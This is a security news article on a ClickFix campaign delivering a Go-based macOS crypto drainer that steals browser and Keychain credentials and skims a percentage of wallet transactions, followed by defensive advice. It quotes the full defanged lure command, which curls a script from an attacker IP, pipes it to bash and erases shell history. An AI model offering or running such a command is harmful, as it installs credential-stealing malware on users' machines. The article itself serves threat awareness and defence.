When researchers traced the payload to 193.29.224.151, they discovered a Go‑based macOS crypto drainer that fetched a Mach‑O binary matching the victim’s processor architecture. That single IP address was the entry point for a chain of scripts that ultimately stole browser passwords, Apple Keychain entries, and a portion of cryptocurrency balances.
Key Takeaways
- ClickFix social engineering can deliver a Go‑based Mach‑O stealer that targets macOS systems.
- The malware harvests credentials from browsers, the Apple Keychain, and cached cookies.
- Unlike previous crypto‑drainers, it can redirect only a configurable percentage of a wallet’s value.
- Infrastructure points to Ae5 Group (AS 210644), a Russian bullet‑proof hosting provider under U.S. and U.K. sanctions.
- Detection gaps remain: only 54% of successful attacks are logged, and just 14% trigger alerts.
macOS crypto drainer: How the ClickFix chain works
It all starts with a deceptive popup that masquerades as a CAPTCHA. The victim sees a window telling them to copy a long command and paste it into Terminal. That command, which looks innocuous, actually pulls a Bash script from the malicious server and wipes its own history. That’s the catch.
Social engineering via ClickFix
In the observed incident, the command was:
export SRC_URL='https://profitnow[.]io/' && (cd /tmp && curl -kfsSL "http://193.29.224[.]151/92392991a0cca55?force=1" -o.UlaccK && bash.UlaccK && rm -f.UlaccK) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null;
That line tells the Mac to download a script from the IP, execute it, then erase the file and clear Terminal history. It even tries to hide the command from the shell’s history, which is a classic move to stay under the radar. You’re seeing the same pattern that Huntress has documented in multiple ClickFix campaigns.
After the script runs, it creates a profiler that gathers hardware identifiers via ioreg and system_profiler, then records the logged‑in username with whoami. The profiler then makes a directory named after trustd—the macOS service that validates code signatures—under the user’s Library Caches. That’s where the next stage lands.
Inside the Go‑based stealer payload
Once the appropriate Mach‑O binary is downloaded, the loader drops it as com.apple.verified and strips the com.apple.quarantine attribute. Removing that attribute prevents Gatekeeper from flagging the file as unsafe, so the user sees no warning when the binary runs. It’s a subtle but effective way to bypass macOS’s built‑in defenses.
Credential harvesting techniques
The stealer then scans the filesystem for files whose names or extensions suggest they contain credentials. Huntress notes that “browser password databases, the Apple Keychain, and cached credentials in browser cookies are all targeted.” That means Chrome, Safari, and Firefox password stores can be exfiltrated, along with any saved tokens in browser cookie jars.
For the Keychain, the malware uses the security command‑line tool to dump entries after escalating privileges via a fake error dialog generated with osascript. The result is a plain‑text dump of saved Wi‑Fi passwords, website logins, and even app‑specific tokens. That data is then sent to the attacker’s C2 server hosted on the same Ae5 infrastructure.
Partial wallet draining – a new twist
What makes this campaign stand out is the DRAIN function. Instead of emptying a wallet completely, the malware can calculate the total value of a transaction, then divert only a percentage—often as low as 1%—to the attacker’s address. Huntress says that’s the first time they’ve seen a crypto drainer that doesn’t simply empty the victim’s balance.
Transaction manipulation logic
The payload checks for the presence of popular cryptocurrencies—Bitcoin, Litecoin, Dogecoin, Monero, Ethereum, and Ripple’s XRP—by scanning for wallet files or using RPC calls. When it finds a wallet, it computes the current market value based on the coin type, then rewrites the transaction before it’s signed. The altered transaction sends the attacker‑controlled portion while letting the rest of the funds reach the intended recipient.
That capability means an attacker could silently skim a few dollars from every transaction, staying under the radar for months. It also forces defenders to look beyond “empty wallet” alerts and consider subtle balance changes as potential indicators of compromise.
Infrastructure and attribution
The C2 traffic points to Autonomous System AS 210644, which is operated by the Ae5 Group. That corporation has been sanctioned by the United States in 2025, with later coordinated sanctions from the United Kingdom and Australia for providing bullet‑proof hosting to ransomware gangs. The same IP range has been linked to other malware campaigns, reinforcing the link between ClickFix payloads and Ae5’s services.
Because the hosting is “bullet‑proof,” takedown attempts often stall, leaving victims exposed for longer periods. That’s why Huntress recommends monitoring outbound connections to known Ae5 IP blocks as part of a broader threat‑intel feed.
Historical Context: macOS malware evolution
macOS has long enjoyed a reputation for being less attractive to attackers than Windows. That perception has shifted as developers ship more high‑value software to the platform. Early macOS threats focused on adware and simple trojans. Over time, more sophisticated actors began targeting the Keychain and the system’s code‑signing mechanisms.
In recent years, we’ve seen a rise in Go‑based binaries that compile to universal Mach‑O slices. Those binaries can run on both Intel and Apple Silicon without recompilation. Attackers exploit that flexibility to reach a broader audience with a single payload. The ClickFix chain follows that pattern, delivering a Go‑compiled stealer that adapts to the host’s architecture on the fly.
The move from “steal everything” to “steal a slice” mirrors a broader trend. Threat actors prefer low‑and‑slow exfiltration when victims are likely to notice a sudden empty wallet. By siphoning only a fraction of each transaction, the campaign stays under the detection thresholds that many security teams have historically relied on.
Technical Architecture of the ClickFix Chain
The chain can be broken into four logical stages: delivery, loader, credential collector, and transaction manipulator. Each stage runs in a separate process, which makes it harder for a single‑point detection to catch the full attack.
- Delivery: A social‑engineering webpage presents a fake CAPTCHA. The user‑visible command hides the real intent behind environment variables and redirection operators.
- Loader: The Bash script downloads a Go‑compiled Mach‑O binary, drops it under a system‑trusted name, and removes quarantine metadata. It also wipes its own traces from the shell history.
- Credential collector: The binary launches sub‑routines that enumerate browser profile directories, invoke
security, and harvest any file that matches known credential patterns. All stolen data is encrypted before being sent to the C2 endpoint. - Transaction manipulator: A lightweight RPC client inspects wallet files, queries the current market price, and rewrites outgoing transaction blobs. Only the attacker‑specified percentage is redirected, leaving the rest untouched.
Each component talks to the same C2 server using HTTPS. The traffic blends in with normal web traffic, which is why only a fraction of attacks are logged. The server also serves the Mach‑O binary on demand, allowing the attacker to update the payload without changing the initial command.
What This Means For You – concrete scenarios
Scenario 1: A small business developer builds a macOS utility and distributes it via a personal website. The developer signs the app but later discovers the quarantine attribute removed from a bundled helper. If the CI pipeline does not verify attribute integrity, the malicious helper could slip through unnoticed, giving attackers a foothold on every installation.
In that case, the business should add an automated step that checks each bundled executable for unexpected attributes. A simple script can flag any file that lacks com.apple.quarantine when it should be present. The extra gate prevents the Go‑based stealer from executing.
Scenario 2: An enterprise security team relies on “empty‑wallet” alerts to catch crypto theft. Because the new drainer only siphons 1‑2 % per transaction, those alerts never fire. The team needs to augment their monitoring with baseline wallet balance checks and deviation analysis. Even a small variance can indicate a compromised endpoint.
Deploying a lightweight agent that queries wallet balances at regular intervals gives visibility into subtle changes. When a deviation exceeds a predefined threshold, the SIEM can raise a ticket for investigation. This approach catches the low‑volume thefts that would otherwise go unnoticed.
Scenario 3: An individual user who frequently uses Terminal for development work may see a pop‑up asking for a “CAPTCHA” command. The user copies the command, runs it, and assumes it’s harmless because it clears the screen after execution. In reality, the command has already fetched the malicious loader.
Education is the first line of defense. Users should verify any command that involves curl or wget from an untrusted domain. A quick check of the URL, or better yet, refusing to run unverified scripts, stops the chain before it even starts.
Key Questions Remaining
Will attackers adopt the partial‑drain technique across other platforms? The current campaign shows it works on macOS, but the underlying logic could be ported to Windows or Linux with minor tweaks. Security teams should prepare for cross‑platform variants.
How will Apple respond to the quarantine‑attribute bypass? Removing the attribute is a known method to evade Gatekeeper, but future macOS releases could enforce stricter checks on binaries that appear in user cache directories. Keeping an eye on upcoming OS updates will be crucial.
What role will threat‑intel sharing play in disrupting Ae5’s infrastructure? The bullet‑proof hosting model makes takedowns difficult, yet coordinated sanctions have already limited the group’s visibility. Continued collaboration among vendors could further shrink the attack surface.
Defending against the attack
Organizations can’t afford to ignore the low‑signal nature of these intrusions. Here are practical steps you can take right now:
- Block outbound traffic to AS 210644 and any associated IP ranges.
- Enforce strict Terminal usage policies—disable execution of arbitrary commands from downloaded scripts unless they’re signed by a trusted developer.
- Deploy endpoint detection that watches for removal of com.apple.quarantine attributes and the creation of suspicious directories under
~/Library/Caches. - Enable logging of credential‑access APIs, especially calls to the
securitytool, and alert on anomalous usage. - Educate users about ClickFix pop‑ups and train them to verify any Terminal command before execution.
Those measures won’t eliminate the threat, but they’ll raise the bar enough that attackers will have to work harder to stay hidden. That’s the reality we’re facing with this new breed of macOS crypto drainer.
What This Means For You
If you’re a developer shipping macOS applications, you need to double‑check your code‑signing process. Removing the quarantine attribute is a red flag that should trigger an automatic quarantine in your CI pipeline. You also should consider integrating runtime integrity checks that verify the presence of unexpected files in user cache directories.
For security teams, the lesson is clear: traditional “empty‑wallet” alerts won’t catch partial drains. Tune your SIEM to flag any transaction whose output value deviates from the expected amount, even by a few percent. Combine that with threat‑intel feeds that list Ae5‑associated IPs, and you’ll have a much tighter net around these stealthy attackers.
Looking ahead, the question isn’t whether macOS will see more crypto‑draining malware, but how often attackers will fine‑tune the percentage they siphon. As the tools become more modular, we might see a surge in targeted, low‑volume thefts that slip past most detection thresholds.
Sources: BleepingComputer, Huntress
Primary sources: huntress.com (Primary source linked by the report).
